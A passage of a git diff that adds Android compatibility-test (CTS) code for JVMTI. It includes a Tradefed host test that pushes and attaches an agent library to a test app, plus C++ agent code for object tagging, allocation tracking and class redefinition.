+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.ZipUtil;
+import java.io.File;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.ZipFile;
+
+/**
+ * Test a JVMTI device test.
+ *
+ * Reads the configuration (APK and package name) out of the embedded config.properties file. Runs
+ * the agent (expected to be packaged with the APK) into the app's /data/data directory, starts a
+ * test run and attaches the agent.
+ */
+public class JvmtiHostTest extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
+    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    // inject these options from HostTest directly using --set-option <option name>:<option value>
+    @Option(name = "package-name",
+            description = "The package name of the device test",
+            mandatory = true)
+    private String mTestPackageName = null;
+
+    @Option(name = "test-file-name",
+            description = "the name of a test zip file to install on device.",
+            mandatory = true)
+    private String mTestApk = null;
+
+    private CompatibilityBuildHelper mBuildHelper;
+    private IAbi mAbi;
+
+    @Override
+    public void setBuild(IBuildInfo arg0) {
+        mBuildHelper = new CompatibilityBuildHelper(arg0);
+    }
+
+    @Override
+    public void setAbi(IAbi arg0) {
+        mAbi = arg0;
+    }
+
+    /**
+     * Tests the string was successfully logged to Logcat from the activity.
+     *
+     * @throws Exception
+     */
+    public void testJvmti() throws Exception {
+        final ITestDevice device = getDevice();
+
+        if (mTestApk == null || mTestPackageName == null) {
+            throw new IllegalStateException("Incorrect configuration");
+        }
+
+        RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
+                device.getIDevice());
+
+        TestResults tr = new TestResults(new AttachAgent(device, mTestPackageName, mTestApk));
+
+        device.runInstrumentationTests(runner, tr);
+
+        assertTrue(tr.getErrors(), tr.hasStarted());
+        assertFalse(tr.getErrors(), tr.hasFailed());
+    }
+
+    private class AttachAgent implements Runnable {
+        private ITestDevice mDevice;
+        private String mPkg;
+        private String mApk;
+
+        public AttachAgent(ITestDevice device, String pkg, String apk) {
+            this.mDevice = device;
+            this.mPkg = pkg;
+            this.mApk = apk;
+        }
+
+        @Override
+        public void run() {
+            File tmpFile = null;
+            ZipFile zf = null;
+            try {
+                String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
+                if (pwd == null) {
+                    throw new RuntimeException("pwd failed");
+                }
+                pwd = pwd.trim();
+                if (pwd.isEmpty()) {
+                    throw new RuntimeException("pwd failed");
+                }
+
+                String agentInDataData = installLibToDataData(pwd, "libctsjvmtiagent.so");
+
+                String attachCmd = "cmd activity attach-agent " + mPkg + " " + agentInDataData;
+                String attachReply = mDevice.executeShellCommand(attachCmd);
+                // Don't try to parse the output. The test will time out anyways if this didn't
+                // work.
+                if (attachReply != null && !attachReply.trim().isEmpty()) {
+                    CLog.e(attachReply);
+                }
+            } catch (Exception e) {
+                throw new RuntimeException("Failed attaching", e);
+            } finally {
+                if (tmpFile != null) {
+                    tmpFile.delete();
+                }
+                if (zf != null) {
+                    try {
+                        zf.close();
+                    } catch (Exception e) {
+                        throw new RuntimeException("ZipFile close failed", e);
+                    }
+                }
+            }
+        }
+
+        File getTestFile(String filename) throws java.io.FileNotFoundException {
+            File testFile = new File(mBuildHelper.getTestsDir(), filename);
+            if (!testFile.exists()) {
+                throw new java.io.FileNotFoundException(String.format(
+                        "Compatibility test file %s does not exist", filename));
+            }
+            return testFile;
+        }
+
+        String installLibToDataData(String dataData, String library) throws Exception {
+            ZipFile zf = null;
+            File tmpFile = null;
+            try {
+                String libInDataData = dataData + "/" + library;
+
+                File apkFile = getTestFile(mApk);
+                zf = new ZipFile(apkFile);
+
+                String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
+                tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
+
+                String libInTmp = "/data/local/tmp/" + tmpFile.getName();
+                if (!mDevice.pushFile(tmpFile, libInTmp)) {
+                    throw new RuntimeException("Could not push library " + library + " to device");
+                }
+
+                String runAsCp = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " cp " + libInTmp + " " + libInDataData);
+                if (runAsCp != null && !runAsCp.trim().isEmpty()) {
+                    throw new RuntimeException(runAsCp.trim());
+                }
+
+                String runAsChmod = mDevice
+                        .executeShellCommand("run-as " + mPkg + " chmod a+x " + libInDataData);
+                if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
+                    throw new RuntimeException(runAsChmod.trim());
+                }
+
+                return libInDataData;
+            } finally {
+                if (tmpFile != null) {
+                    tmpFile.delete();
+                }
+                if (zf != null) {
+                    try {
+                        zf.close();
+                    } catch (Exception e) {
+                        throw new RuntimeException("ZipFile close failed", e);
+                    }
+                }
+            }
+        }
+    }
+
+    private static class TestResults implements ITestRunListener {
+        private boolean mFailed = false;
+        private boolean mStarted = false;
+        private final Runnable mOnStart;
+        private List<String> mErrors = new LinkedList<>();
+
+        public TestResults(Runnable onStart) {
+            this.mOnStart = onStart;
+        }
+
+        public boolean hasFailed() {
+            return mFailed;
+        }
+
+        public boolean hasStarted() {
+            return mStarted;
+        }
+
+        public String getErrors() {
+            if (mErrors.isEmpty()) {
+                return "";
+            }
+            return mErrors.toString();
+        }
+
+        @Override
+        public void testAssumptionFailure(TestIdentifier arg0, String arg1) {
+            mFailed = true;
+            mErrors.add(arg0.toString() + " " + arg1);
+        }
+
+        @Override
+        public void testEnded(TestIdentifier arg0, Map<String, String> arg1) {}
+
+        @Override
+        public void testFailed(TestIdentifier arg0, String arg1) {
+            mFailed = true;
+            mErrors.add(arg0.toString() + " " + arg1);
+        }
+
+        @Override
+        public void testIgnored(TestIdentifier arg0) {}
+
+        @Override
+        public void testRunEnded(long arg0, Map<String, String> arg1) {}
+
+        @Override
+        public void testRunFailed(String arg0) {
+            mFailed = true;
+            mErrors.add(arg0);
+        }
+
+        @Override
+        public void testRunStarted(String arg0, int arg1) {
+            if (mOnStart != null) {
+                mOnStart.run();
+            }
+        }
+
+        @Override
+        public void testRunStopped(long arg0) {}
+
+        @Override
+        public void testStarted(TestIdentifier arg0) {
+            mStarted = true;
+        }
+    }
+}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
new file mode 100644
index 0000000..2039b7b
--- /dev/null
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
@@ -0,0 +1,40 @@
+package android.jvmti.cts;
+
+import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.targetprep.TargetSetupError;
+import java.io.File;
+
+@OptionClass(alias="jvmti-installer")
+public class JvmtiPreparer extends ApkInstaller {
+    // We re-use test-file-name to find the APK. But we need to know the package name.
+    @Option(name = "package-name",
+            description = "The package name of the device test",
+            mandatory = true)
+    private String mPackageName = null;
+
+    private String storedApkName;
+
+    public final static String PACKAGE_NAME_ATTRIBUTE = "jvmti-package-name";
+    public final static String APK_ATTRIBUTE = "jvmti-apk";
+
+    @Override
+    public void setUp(ITestDevice arg0, IBuildInfo arg1)
+            throws TargetSetupError, DeviceNotAvailableException {
+        super.setUp(arg0, arg1);
+
+        arg1.addBuildAttribute(PACKAGE_NAME_ATTRIBUTE, mPackageName);
+        arg1.addBuildAttribute(APK_ATTRIBUTE, storedApkName);
+    }
+
+    @Override
+    protected File getLocalPathForFilename(IBuildInfo arg0, String arg1)
+            throws TargetSetupError {
+        storedApkName = arg1;
+        return super.getLocalPathForFilename(arg0, arg1);
+    }
+}
diff --git a/hostsidetests/jvmti/base/jni/Android.mk b/hostsidetests/jvmti/base/jni/Android.mk
new file mode 100644
index 0000000..28b7ea3
--- /dev/null
+++ b/hostsidetests/jvmti/base/jni/Android.mk
@@ -0,0 +1,72 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsjvmtiagent
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := cts_agent.cpp
+
+# Tagging.
+LOCAL_SRC_FILES += tagging.cpp
+
+# Tracking.
+LOCAL_SRC_FILES += tracking.cpp
+
+# redefinition.
+LOCAL_SRC_FILES += redefine.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_HEADER_LIBRARIES := libopenjdkjvmti_headers
+
+LOCAL_SHARED_LIBRARIES := liblog \
+                          libdl
+
+# The test implementation. We get this provided by ART.
+# Note: Needs to be "whole" as this exposes JNI functions.
+LOCAL_WHOLE_STATIC_LIBRARIES := libctstiagent
+
+# Platform libraries that are not available to apps. Link in statically.
+LOCAL_STATIC_LIBRARIES += libbase
+
+LOCAL_STRIP_MODULE := keep_symbols
+
+# Turn on all warnings.
+LOCAL_CFLAGS :=  -fno-rtti \
+                 -ggdb3 \
+                 -Wall \
+                 -Wextra \
+                 -Werror \
+                 -Wunreachable-code \
+                 -Wredundant-decls \
+                 -Wshadow \
+                 -Wunused \
+                 -Wimplicit-fallthrough \
+                 -Wfloat-equal \
+                 -Wint-to-void-pointer-cast \
+                 -Wused-but-marked-unused \
+                 -Wdeprecated \
+                 -Wunreachable-code-break \
+                 -Wunreachable-code-return \
+                 -g \
+                 -O0 \
+
+LOCAL_CXX_STL := libc++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/jvmti/base/jni/cts_agent.cpp b/hostsidetests/jvmti/base/jni/cts_agent.cpp
new file mode 100644
index 0000000..665a47e
--- /dev/null
+++ b/hostsidetests/jvmti/base/jni/cts_agent.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <jvmti.h>
+
+#include "android-base/logging.h"
+#include "jni_binder.h"
+#include "jvmti_helper.h"
+#include "scoped_local_ref.h"
+#include "test_env.h"
+
+namespace art {
+
+static void InformMainAttach(jvmtiEnv* jenv,
+                             JNIEnv* env,
+                             const char* class_name,
+                             const char* method_name) {
+  // Use JNI to load the class.
+  ScopedLocalRef<jclass> klass(env, FindClass(jenv, env, class_name, nullptr));
+  CHECK(klass.get() != nullptr) << class_name;
+
+  jmethodID method = env->GetStaticMethodID(klass.get(), method_name, "()V");
+  CHECK(method != nullptr);
+
+  env->CallStaticVoidMethod(klass.get(), method);
+}
+
+static constexpr const char* kMainClass = "art/CtsMain";
+static constexpr const char* kMainClassStartup = "startup";
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm,
+                                               char* options ATTRIBUTE_UNUSED,
+                                               void* reserved ATTRIBUTE_UNUSED) {
+  if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+    LOG(FATAL) << "Could not get shared jvmtiEnv";
+  }
+
+  SetStandardCapabilities(jvmti_env);
+  return 0;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm,
+                                                 char* options ATTRIBUTE_UNUSED,
+                                                 void* reserved ATTRIBUTE_UNUSED) {
+  JNIEnv* env;
+  CHECK_EQ(0, vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6))
+      << "Could not get JNIEnv";
+
+  if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+    LOG(FATAL) << "Could not get shared jvmtiEnv";
+  }
+
+  SetStandardCapabilities(jvmti_env);
+  InformMainAttach(jvmti_env, env, kMainClass, kMainClassStartup);
+  return 0;
+}
+
+}  // namespace art
diff --git a/hostsidetests/jvmti/base/jni/redefine.cpp b/hostsidetests/jvmti/base/jni/redefine.cpp
new file mode 100644
index 0000000..c6e8726
--- /dev/null
+++ b/hostsidetests/jvmti/base/jni/redefine.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "jni.h"
+
+#include <stack>
+#include <string>
+#include <unordered_map>
+#include <vector>
+
+#include "android-base/logging.h"
+#include "android-base/macros.h"
+#include "jni_helper.h"
+#include "jvmti_helper.h"
+#include "jvmti.h"
+#include "scoped_primitive_array.h"
+#include "test_env.h"
+
+namespace art {
+
+extern "C" JNIEXPORT jint JNICALL Java_android_jvmti_cts_JvmtiRedefineClassesTest_redefineClass(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jclass target, jbyteArray dex_bytes) {
+  jvmtiClassDefinition def;
+  def.klass = target;
+  def.class_byte_count = static_cast<jint>(env->GetArrayLength(dex_bytes));
+  signed char* redef_bytes = env->GetByteArrayElements(dex_bytes, nullptr);
+  jvmtiError res =jvmti_env->Allocate(def.class_byte_count,
+                                      const_cast<unsigned char**>(&def.class_bytes));
+  if (res != JVMTI_ERROR_NONE) {
+    return static_cast<jint>(res);
+  }
+  memcpy(const_cast<unsigned char*>(def.class_bytes), redef_bytes, def.class_byte_count);
+  env->ReleaseByteArrayElements(dex_bytes, redef_bytes, 0);
+  // Do the redefinition.
+  res = jvmti_env->RedefineClasses(1, &def);
+  return static_cast<jint>(res);
+}
+
+extern "C" JNIEXPORT jint JNICALL Java_android_jvmti_cts_JvmtiRedefineClassesTest_retransformClass(
+    JNIEnv* env ATTRIBUTE_UNUSED, jclass klass ATTRIBUTE_UNUSED, jclass target) {
+  return jvmti_env->RetransformClasses(1, &target);
+}
+
+class TransformationData {
+ public:
+  TransformationData() : redefinitions_(), should_pop_(false) {}
+
+  void SetPop(bool val) {
+    should_pop_ = val;
+  }
+
+  void ClearRedefinitions() {
+    redefinitions_.clear();
+  }
+
+  void PushRedefinition(std::string name, std::vector<unsigned char> data) {
+    if (redefinitions_.find(name) == redefinitions_.end()) {
+      std::stack<std::vector<unsigned char>> stack;
+      redefinitions_[name] = std::move(stack);
+    }
+    redefinitions_[name].push(std::move(data));
+  }
+
+  bool RetrieveRedefinition(std::string name, /*out*/std::vector<unsigned char>* data) {
+    auto stack = redefinitions_.find(name);
+    if (stack == redefinitions_.end() || stack->second.empty()) {
+      return false;
+    } else {
+      *data = stack->second.top();
+      return true;
+    }
+  }
+
+  void PopRedefinition(std::string name) {
+    if (should_pop_) {
+      auto stack = redefinitions_.find(name);
+      if (stack == redefinitions_.end() || stack->second.empty()) {
+        return;
+      } else {
+        stack->second.pop();
+      }
+    }
+  }
+
+ private:
+  std::unordered_map<std::string, std::stack<std::vector<unsigned char>>> redefinitions_;
+  bool should_pop_;
+};
+
+static TransformationData data;
+
+// The hook we are using.
+void JNICALL CommonClassFileLoadHookRetransformable(jvmtiEnv* local_jvmti_env,
+                                                    JNIEnv* jni_env ATTRIBUTE_UNUSED,
+                                                    jclass class_being_redefined ATTRIBUTE_UNUSED,
+                                                    jobject loader ATTRIBUTE_UNUSED,
+                                                    const char* name,
+                                                    jobject protection_domain ATTRIBUTE_UNUSED,
+                                                    jint class_data_len ATTRIBUTE_UNUSED,
+                                                    const unsigned char* class_dat ATTRIBUTE_UNUSED,
+                                                    jint* new_class_data_len,
+                                                    unsigned char** new_class_data) {
+  std::string name_str(name);
+  std::vector<unsigned char> dex_data;
+  if (data.RetrieveRedefinition(name_str, &dex_data)) {
+    unsigned char* jvmti_dex_data;
+    if (JVMTI_ERROR_NONE != local_jvmti_env->Allocate(dex_data.size(), &jvmti_dex_data)) {
+      LOG(FATAL) << "Unable to allocate output buffer for " << name;
+      return;
+    }
+    memcpy(jvmti_dex_data, dex_data.data(), dex_data.size());
+    *new_class_data_len = dex_data.size();
+    *new_class_data = jvmti_dex_data;
+    data.PopRedefinition(name);
+  }
+}
+
+extern "C"
+JNIEXPORT void JNICALL Java_android_jvmti_cts_JvmtiRedefineClassesTest_setTransformationEvent(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jboolean enable) {
+  jvmtiEventCallbacks cb;
+  memset(&cb, 0, sizeof(cb));
+  cb.ClassFileLoadHook = CommonClassFileLoadHookRetransformable;
+  if (JvmtiErrorToException(env, jvmti_env, jvmti_env->SetEventCallbacks(&cb, sizeof(cb)))) {
+    return;
+  }
+  JvmtiErrorToException(env,
+                        jvmti_env,
+                        jvmti_env->SetEventNotificationMode(
+                            enable == JNI_TRUE ? JVMTI_ENABLE : JVMTI_DISABLE,
+                            JVMTI_EVENT_CLASS_FILE_LOAD_HOOK,
+                            nullptr));
+  return;
+}
+
+extern "C"
+JNIEXPORT void JNICALL Java_android_jvmti_cts_JvmtiRedefineClassesTest_clearTransformations(
+    JNIEnv* env ATTRIBUTE_UNUSED, jclass klass ATTRIBUTE_UNUSED) {
+  data.ClearRedefinitions();
+}
+
+extern "C"
+JNIEXPORT void JNICALL Java_android_jvmti_cts_JvmtiRedefineClassesTest_setPopTransformations(
+    JNIEnv* env ATTRIBUTE_UNUSED, jclass klass ATTRIBUTE_UNUSED, jboolean enable) {
+  data.SetPop(enable == JNI_TRUE ? true : false);
+}
+
+extern "C"
+JNIEXPORT void JNICALL Java_android_jvmti_cts_JvmtiRedefineClassesTest_pushTransformationResult(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jstring class_name, jbyteArray dex_bytes) {
+  const char* name_chrs = env->GetStringUTFChars(class_name, nullptr);
+  std::string name_str(name_chrs);
+  env->ReleaseStringUTFChars(class_name, name_chrs);
+  std::vector<unsigned char> dex_data;
+  dex_data.resize(env->GetArrayLength(dex_bytes));
+  signed char* redef_bytes = env->GetByteArrayElements(dex_bytes, nullptr);
+  memcpy(dex_data.data(), redef_bytes, env->GetArrayLength(dex_bytes));
+  data.PushRedefinition(std::move(name_str), std::move(dex_data));
+  env->ReleaseByteArrayElements(dex_bytes, redef_bytes, 0);
+}
+
+}  // namespace art
+
diff --git a/hostsidetests/jvmti/base/jni/tagging.cpp b/hostsidetests/jvmti/base/jni/tagging.cpp
new file mode 100644
index 0000000..372805b
--- /dev/null
+++ b/hostsidetests/jvmti/base/jni/tagging.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "jni.h"
+
+#include "android-base/logging.h"
+#include "android-base/macros.h"
+#include "jni_helper.h"
+#include "jvmti_helper.h"
+#include "jvmti.h"
+#include "scoped_primitive_array.h"
+#include "test_env.h"
+
+namespace art {
+
+extern "C" JNIEXPORT void JNICALL Java_android_jvmti_cts_JniBindings_setTag(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jobject obj, jlong tag) {
+  jvmtiError ret = jvmti_env->SetTag(obj, tag);
+  JvmtiErrorToException(env, jvmti_env, ret);
+}
+
+extern "C" JNIEXPORT jlong JNICALL Java_android_jvmti_cts_JniBindings_getTag(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jobject obj) {
+  jlong tag = 0;
+  jvmtiError ret = jvmti_env->GetTag(obj, &tag);
+  if (JvmtiErrorToException(env, jvmti_env, ret)) {
+    return 0;
+  }
+  return tag;
+}
+
+extern "C" JNIEXPORT jobjectArray JNICALL Java_android_jvmti_cts_JvmtiTaggingTest_getTaggedObjects(
+    JNIEnv* env,
+    jclass klass ATTRIBUTE_UNUSED,
+    jlongArray searchTags,
+    jboolean returnObjects,
+    jboolean returnTags) {
+  ScopedLongArrayRO scoped_array(env);
+  if (searchTags != nullptr) {
+    scoped_array.reset(searchTags);
+  }
+  const jlong* tag_ptr = scoped_array.get();
+  if (tag_ptr == nullptr) {
+    // Can never pass null.
+    tag_ptr = reinterpret_cast<const jlong*>(1);
+  }
+
+  jint result_count = -1;
+  jobject* result_object_array = nullptr;
+  jobject** result_object_array_ptr = returnObjects == JNI_TRUE ? &result_object_array : nullptr;
+  jlong* result_tag_array = nullptr;
+  jlong** result_tag_array_ptr = returnTags == JNI_TRUE ? &result_tag_array : nullptr;
+
+  jvmtiError ret = jvmti_env->GetObjectsWithTags(scoped_array.size(),
+                                                 tag_ptr,
+                                                 &result_count,
+                                                 result_object_array_ptr,
+                                                 result_tag_array_ptr);
+  if (JvmtiErrorToException(env, jvmti_env, ret)) {
+    return nullptr;
+  }
+
+  CHECK_GE(result_count, 0);
+
+  jobjectArray resultObjectArray = nullptr;
+  if (returnObjects == JNI_TRUE) {
+    auto callback = [&](jint i) {
+      return result_object_array[i];
+    };
+    resultObjectArray = CreateObjectArray(env, result_count, "java/lang/Object", callback);
+    if (resultObjectArray == nullptr) {
+      return nullptr;
+    }
+  }
+  if (result_object_array != nullptr) {
+    CheckJvmtiError(jvmti_env, Deallocate(jvmti_env, result_object_array));
+  }
+
+  jlongArray resultTagArray = nullptr;
+  if (returnTags == JNI_TRUE) {
+    resultTagArray = env->NewLongArray(result_count);
+    if (resultTagArray == nullptr) {
+      return nullptr;
+    }
+    env->SetLongArrayRegion(resultTagArray, 0, result_count, result_tag_array);
+  }
+  if (result_tag_array != nullptr) {
+    CheckJvmtiError(jvmti_env, Deallocate(jvmti_env, result_tag_array));
+  }
+
+  jobject count_integer;
+  {
+    ScopedLocalRef<jclass> integer_class(env, env->FindClass("java/lang/Integer"));
+    jmethodID methodID = env->GetMethodID(integer_class.get(), "<init>", "(I)V");
+    count_integer = env->NewObject(integer_class.get(), methodID, result_count);
+    if (count_integer == nullptr) {
+      return nullptr;
+    }
+  }
+
+  auto callback = [&](jint i) -> jobject {
+    switch(i) {
+      case 0:
+        return resultObjectArray;
+      case 1:
+        return resultTagArray;
+      case 2:
+        return count_integer;
+      default:
+        LOG(FATAL) << "Unexpected";
+        return nullptr;
+    }
+  };
+  return CreateObjectArray(env, 3, "java/lang/Object", callback);
+}
+
+}  // namespace art
+
diff --git a/hostsidetests/jvmti/base/jni/tracking.cpp b/hostsidetests/jvmti/base/jni/tracking.cpp
new file mode 100644
index 0000000..a07d653
--- /dev/null
+++ b/hostsidetests/jvmti/base/jni/tracking.cpp
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <mutex>
+
+#include "jni.h"
+#include "jvmti.h"
+
+#include "android-base/logging.h"
+#include "android-base/stringprintf.h"
+#include "jvmti_helper.h"
+#include "scoped_local_ref.h"
+#include "scoped_utf_chars.h"
+#include "test_env.h"
+
+namespace art {
+
+static std::string GetClassName(JNIEnv* jni_env, jclass cls) {
+  ScopedLocalRef<jclass> class_class(jni_env, jni_env->GetObjectClass(cls));
+  jmethodID mid = jni_env->GetMethodID(class_class.get(), "getName", "()Ljava/lang/String;");
+  ScopedLocalRef<jstring> str(
+      jni_env, reinterpret_cast<jstring>(jni_env->CallObjectMethod(cls, mid)));
+  ScopedUtfChars utf_chars(jni_env, str.get());
+  return utf_chars.c_str();
+}
+
+static std::mutex gLock;
+static std::string gCollection;
+
+static void JNICALL ObjectAllocated(jvmtiEnv* ti_env ATTRIBUTE_UNUSED,
+                                    JNIEnv* jni_env,
+                                    jthread thread ATTRIBUTE_UNUSED,
+                                    jobject object,
+                                    jclass object_klass,
+                                    jlong size) {
+  std::string object_klass_descriptor = GetClassName(jni_env, object_klass);
+  ScopedLocalRef<jclass> object_klass2(jni_env, jni_env->GetObjectClass(object));
+  std::string object_klass_descriptor2 = GetClassName(jni_env, object_klass2.get());
+  std::string result = android::base::StringPrintf("ObjectAllocated type %s/%s size %zu",
+                                                   object_klass_descriptor.c_str(),
+                                                   object_klass_descriptor2.c_str(),
+                                                   static_cast<size_t>(size));
+  std::unique_lock<std::mutex> mu(gLock);
+  gCollection += result + "#";
+}
+
+extern "C" JNIEXPORT void JNICALL Java_android_jvmti_cts_JvmtiTrackingTest_setupObjectAllocCallback(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jboolean enable) {
+  jvmtiEventCallbacks callbacks;
+  memset(&callbacks, 0, sizeof(jvmtiEventCallbacks));
+  callbacks.VMObjectAlloc = enable ? ObjectAllocated : nullptr;
+
+  jvmtiError ret = jvmti_env->SetEventCallbacks(&callbacks, sizeof(callbacks));
+  JvmtiErrorToException(env, jvmti_env, ret);
+}
+
+extern "C" JNIEXPORT void JNICALL Java_android_jvmti_cts_JvmtiTrackingTest_enableAllocationTracking(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED, jthread thread, jboolean enable) {
+  jvmtiError ret = jvmti_env->SetEventNotificationMode(
+      enable ? JVMTI_ENABLE : JVMTI_DISABLE,
+      JVMTI_EVENT_VM_OBJECT_ALLOC,
+      thread);
+  JvmtiErrorToException(env, jvmti_env, ret);
+}
+
+extern "C" JNIEXPORT
+jstring JNICALL Java_android_jvmti_cts_JvmtiTrackingTest_getAndResetAllocationTrackingString(
+    JNIEnv* env, jclass klass ATTRIBUTE_UNUSED) {
+  // We will have a string allocation. So only do the C++ string retrieval under lock.
+  std::string result;
+  {
+    std::unique_lock<std::mutex> mu(gLock);
+    result.swap(gCollection);
+  }
+
+  if (result.empty()) {
+    return nullptr;
+  }
+
+  return env->NewStringUTF(result.c_str());
+}
+
+}  // namespace art
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.mk b/hostsidetests/jvmti/base/run-test-based-app/Android.mk
new file mode 100644
index 0000000..7c8b417
--- /dev/null
+++ b/hostsidetests/jvmti/base/run-test-based-app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsJvmtiDeviceRunTestAppBase
+
+# We explicitly enumerate, as we have a definition of art.Main to simplify development
+# in an IDE (but want the implementation of said class to come from the ART run-tests).
+LOCAL_SRC_FILES := \
+  src/android/jvmti/cts/JvmtiRunTestBasedTest.java \
+
+LOCAL_SDK_VERSION := current
+LOCAL_DEX_PREOPT := false
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
+LOCAL_STATIC_JAVA_LIBRARIES += run-test-jvmti-java
+LOCAL_PROGUARD_ENABLED := disabled
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/run-test-based-app/src/android/jvmti/cts/JvmtiRunTestBasedTest.java b/hostsidetests/jvmti/base/run-test-based-app/src/android/jvmti/cts/JvmtiRunTestBasedTest.java
new file mode 100644
index 0000000..312a882
--- /dev/null
+++ b/hostsidetests/jvmti/base/run-test-based-app/src/android/jvmti/cts/JvmtiRunTestBasedTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
